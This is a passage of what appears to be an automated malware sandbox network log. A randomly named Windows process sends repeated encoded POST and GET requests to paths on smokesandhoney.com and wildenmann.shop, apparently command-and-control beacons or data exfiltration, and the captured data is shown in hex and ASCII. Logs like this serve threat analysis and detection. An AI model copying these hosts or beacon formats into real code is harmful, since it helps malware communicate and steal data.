Sep 5, 2024 14:26:12.167398930 CEST	387	IN	Data Raw: 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0a 20 20 20 20 76 61 72 20 74 63 62 6c 6f 63 6b 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 2f 2f 20 52 65 71 75 69 72 65 64 20 61 6e 64 20 73 74 65 61 64 79 0a 20 20 20 20 20 20 20 20 27 63 6f 6e 74 Data Ascii: age="JavaScript"> var tcblock = { // Required and steady 'container': 'tc', 'type': 'relatedsearch', 'colorBackground': 'transparent', 'number': 3, // Font-Sizes and Line-He
Sep 5, 2024 14:26:12.167412043 CEST	1236	IN	Data Raw: 31 30 30 30 0d 0a 6f 6e 27 3a 20 27 23 61 61 61 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 54 69 74 6c 65 4c 69 6e 6b 27 3a 20 27 23 30 32 37 37 62 64 27 2c 0a 20 20 20 20 20 20 20 20 2f 2f 20 41 6c 70 68 61 62 65 74 69 63 61 6c 6c 79 0a Data Ascii: 1000on': '#aaa', 'colorTitleLink': '#0277bd', // Alphabetically 'horizontalAlignment': 'center', 'noTitleUnderline': false, 'rolloverLinkColor': '#01579b', 'verticalSpacing': 10 }; var
Sep 5, 2024 14:26:12.167423010 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 6c 65 74 20 64 6f 6d 61 69 6e 3d 27 62 6e 6d 6c 6b 2e 6f 72 67 27 3b 20 20 20 20 20 20 20 20 20 6c 65 74 20 73 63 72 69 70 74 50 61 74 68 3d 27 27 3b 20 20 20 20 20 20 20 20 20 6c 65 74 20 61 64 74 65 73 74 3d 27 6f 66 66 27 Data Ascii: let domain='bnmlk.org'; let scriptPath=''; let adtest='off';if(top.location!==location) { top.location.href=location.protocol + '//' + location.host + location.pathname + (location.search ? location.search + '&' : '?') +
Sep 5, 2024 14:26:12.172365904 CEST	1236	IN	Data Raw: 63 6b 69 6e 67 49 44 29 2b 20 22 26 64 6f 6d 61 69 6e 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 6d 61 69 6e 29 2b 20 22 26 64 61 74 61 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 4a Data Ascii: ckingID)+ "&domain=" + encodeURIComponent(domain)+ "&data=" + encodeURIComponent(JSON.stringify(data)));}},'pageLoadedCallback': function (requestAccepted, status) {document.body.style.visibility = 'visible';pageLoadedCallbackTriggered = true;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	57212	34.149.87.45	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:17.488027096 CEST	720	OUT	POST /ld3u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.smokesandhoney.com Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.smokesandhoney.com Referer: http://www.smokesandhoney.com/ld3u/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 32 65 36 53 4f 79 68 68 68 68 74 6d 6f 71 46 6e 6c 2b 69 45 74 45 6f 7a 78 70 71 6c 37 64 5a 68 6a 4c 67 38 30 79 66 78 71 44 6c 74 42 47 30 47 39 76 5a 77 38 4a 31 54 36 71 48 79 41 77 58 57 55 58 43 44 68 6b 70 62 69 32 66 6c 6b 74 38 2b 2b 62 72 53 6d 34 39 79 64 7a 6b 67 71 6f 57 33 31 47 55 6a 54 53 65 6b 52 68 68 5a 30 68 62 71 4d 71 4a 5a 68 50 65 48 43 53 54 70 4f 41 7a 68 4d 55 38 75 51 72 30 2f 6a 52 2b 58 74 49 41 51 36 76 4b 31 70 73 70 54 57 48 54 62 6f 30 48 61 76 31 56 51 54 37 42 58 7a 75 5a 46 79 42 44 33 55 58 4b 76 73 34 67 52 58 70 52 74 62 78 51 63 37 62 68 32 2b 2f 38 3d Data Ascii: V6h=2e6SOyhhhhtmoqFnl+iEtEozxpql7dZhjLg80yfxqDltBG0G9vZw8J1T6qHyAwXWUXCDhkpbi2flkt8++brSm49ydzkgqoW31GUjTSekRhhZ0hbqMqJZhPeHCSTpOAzhMU8uQr0/jR+XtIAQ6vK1pspTWHTbo0Hav1VQT7BXzuZFyBD3UXKvs4gRXpRtbxQc7bh2+/8=
Sep 5, 2024 14:26:17.948947906 CEST	394	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.smokesandhoney.com/ld3u/ Accept-Ranges: bytes Date: Thu, 05 Sep 2024 12:26:17 GMT X-Served-By: cache-iad-kiad7000133-IAD X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc= Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	57213	34.149.87.45	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:20.028033972 CEST	740	OUT	POST /ld3u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.smokesandhoney.com Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.smokesandhoney.com Referer: http://www.smokesandhoney.com/ld3u/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 32 65 36 53 4f 79 68 68 68 68 74 6d 70 4c 56 6e 32 4e 4b 45 72 6b 6f 77 2f 4a 71 6c 79 39 5a 6c 6a 4c 6b 38 30 7a 72 62 74 78 52 74 42 6e 45 47 76 2b 5a 77 2f 4a 31 54 39 61 48 7a 4f 51 58 4e 55 58 4f 78 68 6b 56 62 69 32 4c 6c 6b 74 73 2b 2b 71 72 54 6e 6f 39 38 45 6a 6b 69 6c 49 57 33 31 47 55 6a 54 57 4f 43 52 67 46 5a 30 52 4c 71 65 49 68 61 39 66 65 41 56 69 54 70 4b 41 7a 6c 4d 55 38 63 51 71 59 52 6a 53 57 58 74 4b 6f 51 35 2b 4b 36 69 73 70 56 4c 58 53 33 74 58 57 33 6d 57 56 6b 52 4c 51 67 73 4d 74 72 2b 58 75 64 4f 31 43 48 2f 59 4d 70 48 36 5a 61 4b 42 78 31 68 34 78 47 67 6f 6f 75 67 36 45 77 32 63 4b 77 58 75 68 45 71 7a 53 6d 50 71 39 6c Data Ascii: V6h=2e6SOyhhhhtmpLVn2NKErkow/Jqly9ZljLk80zrbtxRtBnEGv+Zw/J1T9aHzOQXNUXOxhkVbi2Llkts++qrTno98EjkilIW31GUjTWOCRgFZ0RLqeIha9feAViTpKAzlMU8cQqYRjSWXtKoQ5+K6ispVLXS3tXW3mWVkRLQgsMtr+XudO1CH/YMpH6ZaKBx1h4xGgooug6Ew2cKwXuhEqzSmPq9l
Sep 5, 2024 14:26:20.494457006 CEST	394	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.smokesandhoney.com/ld3u/ Accept-Ranges: bytes Date: Thu, 05 Sep 2024 12:26:20 GMT X-Served-By: cache-iad-kcgs7200119-IAD X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,AHc3TXLcXOul+t9LIbGg9ciHE4dbw+wewoJ5nvKoyjE= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc= Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	57214	34.149.87.45	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:22.556262970 CEST	1757	OUT	POST /ld3u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.smokesandhoney.com Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.smokesandhoney.com Referer: http://www.smokesandhoney.com/ld3u/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 32 65 36 53 4f 79 68 68 68 68 74 6d 70 4c 56 6e 32 4e 4b 45 72 6b 6f 77 2f 4a 71 6c 79 39 5a 6c 6a 4c 6b 38 30 7a 72 62 74 78 4a 74 42 52 51 47 39 4a 74 77 2b 4a 31 54 2b 61 48 32 4f 51 57 56 55 58 58 34 68 6b 59 6d 69 7a 50 6c 6c 4f 30 2b 36 6f 50 54 2b 34 39 38 5a 7a 6b 76 71 6f 58 7a 31 47 45 6e 54 53 53 43 52 67 46 5a 30 58 48 71 49 71 4a 61 74 76 65 48 43 53 54 62 4f 41 7a 4e 4d 55 6c 70 51 71 73 76 6a 6a 32 58 74 71 59 51 31 73 69 36 2b 38 70 58 49 58 53 76 74 58 61 30 6d 57 49 62 52 4b 55 4b 73 50 39 72 2b 53 65 44 66 6b 4b 7a 71 5a 4e 52 4b 64 59 33 58 6e 6c 55 38 2b 4e 67 6b 36 34 59 6a 65 55 51 78 4b 71 55 5a 64 73 44 32 69 4f 73 4e 76 78 70 4f 4c 6f 52 77 30 4e 38 72 44 6e 41 36 35 4c 35 76 4f 6b 2f 52 54 69 32 7a 78 30 42 4d 2b 54 2b 58 69 54 66 6e 4e 64 53 70 63 70 6d 76 6c 74 31 42 2f 31 71 31 50 5a 39 47 42 61 43 46 30 64 37 46 59 78 42 65 75 76 42 6b 44 48 78 6c 53 31 56 38 63 5a 53 72 51 77 68 31 78 39 72 74 75 63 74 2b 39 71 64 30 44 6f 66 2b 44 66 51 43 6d 6c 6c 68 66 [TRUNCATED] Data Ascii: V6h=2e6SOyhhhhtmpLVn2NKErkow/Jqly9ZljLk80zrbtxJtBRQG9Jtw+J1T+aH2OQWVUXX4hkYmizPllO0+6oPT+498ZzkvqoXz1GEnTSSCRgFZ0XHqIqJatveHCSTbOAzNMUlpQqsvjj2XtqYQ1si6+8pXIXSvtXa0mWIbRKUKsP9r+SeDfkKzqZNRKdY3XnlU8+Ngk64YjeUQxKqUZdsD2iOsNvxpOLoRw0N8rDnA65L5vOk/RTi2zx0BM+T+XiTfnNdSpcpmvlt1B/1q1PZ9GBaCF0d7FYxBeuvBkDHxlS1V8cZSrQwh1x9rtuct+9qd0Dof+DfQCmllhfTLIrCH4V1QfZpexXllUCDJ1CmxkGgkLKdjGHN3jgXDSmEzKrlJjG0qhDUlf/LUfL8HXGbdQrrfif0eBl9t998kVuWl3bF9hUwhFgqlrwVkbIuhXIx3VUlIdj8V47FMCnBrXLHHTnGHYwYKDD75DI4EuAioTQNedCRjgCrRm2RO8Ig8jCvPDq0nie9dHNo8qDlZwbv3CzMHN0eauAzVxKacLc+a93tNQYKOnCsdAFj3hPoGrSmgZ/AGJsCgouqVYAdh57ZJytk/DAxFAx89NmSE5ZSTciy2w8Vi2Od4NNNGV115G/mrOXcO4WSYlEOwEj1zwH/ClqWvbX1hCoenjjJzJ49mchDTb/GYhCpCvb9VzoG4n5iqi5FhijH/lahEX2+OxiQ56Osb0LUPdFaCGjWii2/3RZ+x6llFKz0Y1qQ9zIGpIfDnLswXy/e/HeujdypPAeC6dyyJcFxKqw3aCphg4T+pJy7JkMWshSNw/7Ybm39wFkm2I7yZLWLmOhrhstO076S1bDW3V7zDeTfPRfqAjqKE6LluD0tubgqybfWdM3jU85NcfbCH3suk45TpxiE1JMkKAzp+6FYA8DPTPZHTbHp+RGsAi6HdNN3QAWNvVyPMsomeiwQQhpDxBwU/0djGCqjMF846OQ6YnltFOOt/NwA8B0MM2Vxl [TRUNCATED]
Sep 5, 2024 14:26:23.015678883 CEST	394	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.smokesandhoney.com/ld3u/ Accept-Ranges: bytes Date: Thu, 05 Sep 2024 12:26:22 GMT X-Served-By: cache-iad-kcgs7200068-IAD X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,jKB0KR2wTEE1MYSdxvKSbciHE4dbw+wewoJ5nvKoyjE= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc= Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	57215	34.149.87.45	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:25.086555004 CEST	453	OUT	GET /ld3u/?V6h=7cSyNGFy/S5quoM6udyikngV4L2ptvlq1/kf9BPZtTlwCENfjvle2IZfxcv5JQLEZFLmm1935WPn1s0g14qVusJPQGgEr6+5yVxfblixZgca2mD/C/dkht+8dQzCD1+Jew==&sH=nVVHdDTx2PSTVJ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.smokesandhoney.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:26:25.546081066 CEST	549	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.smokesandhoney.com/ld3u/?V6h=7cSyNGFy/S5quoM6udyikngV4L2ptvlq1/kf9BPZtTlwCENfjvle2IZfxcv5JQLEZFLmm1935WPn1s0g14qVusJPQGgEr6+5yVxfblixZgca2mD/C/dkht+8dQzCD1+Jew==&sH=nVVHdDTx2PSTVJ Accept-Ranges: bytes Date: Thu, 05 Sep 2024 12:26:25 GMT X-Served-By: cache-iad-kjyo7100056-IAD X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,AHc3TXLcXOul+t9LIbGg9ciHE4dbw+wewoJ5nvKoyjE= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc= Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	57216	91.203.110.247	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:30.605568886 CEST	711	OUT	POST /ccpi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.wildenmann.shop Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.wildenmann.shop Referer: http://www.wildenmann.shop/ccpi/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 77 34 48 39 42 2f 70 56 72 7a 47 69 62 7a 4c 69 70 36 67 79 48 49 2f 67 62 78 57 76 4e 76 78 78 39 49 61 62 68 77 33 4d 71 77 5a 6d 30 69 66 6e 70 70 77 37 44 70 35 4f 79 65 69 6c 31 31 6b 68 4b 64 43 58 39 6c 32 78 65 63 59 4c 69 45 30 51 6f 57 52 2f 79 39 39 58 6c 70 69 50 52 58 41 65 31 75 47 64 72 4b 70 72 31 59 4c 57 74 6f 70 38 72 6a 31 65 76 2f 74 52 4c 4f 31 6f 4a 2b 49 79 65 4c 76 69 52 33 32 46 79 66 64 5a 69 4f 66 51 66 57 79 4c 73 2f 54 55 6f 57 45 42 64 2f 63 67 63 58 4d 59 32 76 65 71 57 38 30 69 79 54 54 33 35 46 4c 4c 51 64 65 70 35 58 37 69 6d 6c 72 68 49 78 6b 53 70 79 30 3d Data Ascii: V6h=w4H9B/pVrzGibzLip6gyHI/gbxWvNvxx9Iabhw3MqwZm0ifnppw7Dp5Oyeil11khKdCX9l2xecYLiE0QoWR/y99XlpiPRXAe1uGdrKpr1YLWtop8rj1ev/tRLO1oJ+IyeLviR32FyfdZiOfQfWyLs/TUoWEBd/cgcXMY2veqW80iyTT35FLLQdep5X7imlrhIxkSpy0=
Sep 5, 2024 14:26:31.226120949 CEST	926	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Thu, 05 Sep 2024 12:26:31 GMT server: LiteSpeed location: http://wildenmann.shop/ccpi/ x-powered-by: PleskLin Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	57217	91.203.110.247	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:33.248716116 CEST	731	OUT	POST /ccpi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.wildenmann.shop Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.wildenmann.shop Referer: http://www.wildenmann.shop/ccpi/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 77 34 48 39 42 2f 70 56 72 7a 47 69 62 53 62 69 76 64 4d 79 50 49 2f 6e 65 78 57 76 44 50 78 31 39 49 57 62 68 7a 36 52 74 43 4e 6d 78 33 6a 6e 71 71 6f 37 4b 35 35 4f 36 2b 69 6b 37 56 6b 51 4b 64 48 30 39 67 4f 78 65 63 4d 4c 69 46 45 51 6f 68 4e 77 7a 74 39 5a 74 4a 69 33 56 58 41 65 31 75 47 64 72 4b 74 52 31 59 54 57 74 34 5a 38 71 43 31 42 6c 66 74 53 63 2b 31 6f 66 2b 49 32 65 4c 76 41 52 32 72 53 79 61 52 5a 69 4c 6a 51 63 43 65 45 6a 2f 54 53 6c 32 46 54 4d 38 74 35 46 58 6c 51 72 66 66 6f 56 74 55 74 2b 46 2b 64 6a 6e 44 6a 44 39 79 52 70 45 7a 56 33 56 4b 49 53 53 30 69 33 6c 6a 66 72 66 74 5a 58 73 6e 54 2f 65 4b 6f 43 38 35 65 6b 61 55 6b Data Ascii: V6h=w4H9B/pVrzGibSbivdMyPI/nexWvDPx19IWbhz6RtCNmx3jnqqo7K55O6+ik7VkQKdH09gOxecMLiFEQohNwzt9ZtJi3VXAe1uGdrKtR1YTWt4Z8qC1BlftSc+1of+I2eLvAR2rSyaRZiLjQcCeEj/TSl2FTM8t5FXlQrffoVtUt+F+djnDjD9yRpEzV3VKISS0i3ljfrftZXsnT/eKoC85ekaUk
Sep 5, 2024 14:26:33.887597084 CEST	926	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Thu, 05 Sep 2024 12:26:33 GMT server: LiteSpeed location: http://wildenmann.shop/ccpi/ x-powered-by: PleskLin Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	57218	91.203.110.247	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:35.796065092 CEST	1748	OUT	POST /ccpi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.wildenmann.shop Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.wildenmann.shop Referer: http://www.wildenmann.shop/ccpi/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 77 34 48 39 42 2f 70 56 72 7a 47 69 62 53 62 69 76 64 4d 79 50 49 2f 6e 65 78 57 76 44 50 78 31 39 49 57 62 68 7a 36 52 74 43 56 6d 78 6c 62 6e 74 37 6f 37 51 35 35 4f 35 2b 69 68 37 56 6b 33 4b 5a 72 6f 39 67 53 68 65 65 30 4c 6a 6a 51 51 2f 46 35 77 36 74 39 5a 68 70 69 4d 52 58 41 4c 31 75 57 5a 72 4a 46 52 31 59 54 57 74 2b 31 38 71 54 31 42 6a 66 74 52 4c 4f 31 30 4a 2b 49 4f 65 4c 6e 36 52 32 2f 43 7a 75 74 5a 69 76 2f 51 50 42 6d 45 38 50 54 71 6b 32 45 57 4d 38 68 63 46 52 41 70 72 63 44 57 56 71 67 74 37 79 79 4c 36 6d 4f 2f 5a 4d 6d 51 76 58 48 33 6e 53 32 36 63 30 78 53 71 55 54 65 76 2f 6c 30 65 49 6e 52 35 50 6e 79 5a 4b 6c 4e 6a 50 78 57 2f 6d 58 47 4e 73 6d 68 53 59 2b 4c 65 34 78 67 41 6c 72 2f 69 77 61 57 76 4e 36 62 46 75 34 41 75 68 46 34 54 4a 54 76 7a 63 68 41 51 35 73 65 38 4f 65 50 50 42 4e 76 55 72 47 6e 30 50 6a 72 41 48 43 6f 77 4e 46 4f 67 45 61 74 4c 6a 39 4a 4b 53 62 34 42 44 39 70 75 4a 41 2b 6f 42 62 34 65 65 54 42 64 38 4f 48 58 4f 6a 73 75 70 63 6c 4a 6b [TRUNCATED] Data Ascii: V6h=w4H9B/pVrzGibSbivdMyPI/nexWvDPx19IWbhz6RtCVmxlbnt7o7Q55O5+ih7Vk3KZro9gShee0LjjQQ/F5w6t9ZhpiMRXAL1uWZrJFR1YTWt+18qT1BjftRLO10J+IOeLn6R2/CzutZiv/QPBmE8PTqk2EWM8hcFRAprcDWVqgt7yyL6mO/ZMmQvXH3nS26c0xSqUTev/l0eInR5PnyZKlNjPxW/mXGNsmhSY+Le4xgAlr/iwaWvN6bFu4AuhF4TJTvzchAQ5se8OePPBNvUrGn0PjrAHCowNFOgEatLj9JKSb4BD9puJA+oBb4eeTBd8OHXOjsupclJkP4I6lRO4HkixdhwuGn0nBypB+qbLVOe1aS0O0Q592K8U0/l9ti14ocQoo1InZtXcgW/7aqI3oulRk9RUGjMeLRpp8XbVxbO7J2ZvDA370kG9HQGjVKQQCYGumwXbgNDfa9sdZ9+ICDQSAXdRAP9tBmJx/MPd/9sjgk+ld1Vemhs8ybuPu0xRNCNfunp+QfDPOE8/pXADiUXFZ5RLo2jz2BUj7nMDjYDWr31nyyiNER++uCoW27xS/X+q4xq+r/VnYYWQvnD56aISPbNpG6KVoJqDm2eLFALdTrxslvTlcFehii60P8/9ZrDJePqiCqOpsG78Kpo9FTOvsNCZeuWzbjvEvJ7IvyHeNXPYRPDIzeoGnfNhfW+GnLHZZkmrE8eZTQstusHX/pr/kePJTlJPIkB6hRhufN3YXx3zEI48ep3etqDZU7DJd40LhUJ2fKGRUuQQvwWkjZBx20S29Syxk7Db4mZE/zU84nwhrJP3P3mL1mmnUwQbkl6ashu9yRRnsPmVGN4olT9ju7Fy8yPxzGH3o+dhaIylEm6BHmzCOawN38/TQbNW22YVrrerx5YfwCz7VwStUHRBBuc2qEPFYtjIcpx6NgCFVK49T3M/LSHhdfx+qoA90Y00qkq9asfVPU9X73dZ/SyyZKW0UC4XRKPNJ+x8z/ltWT [TRUNCATED]
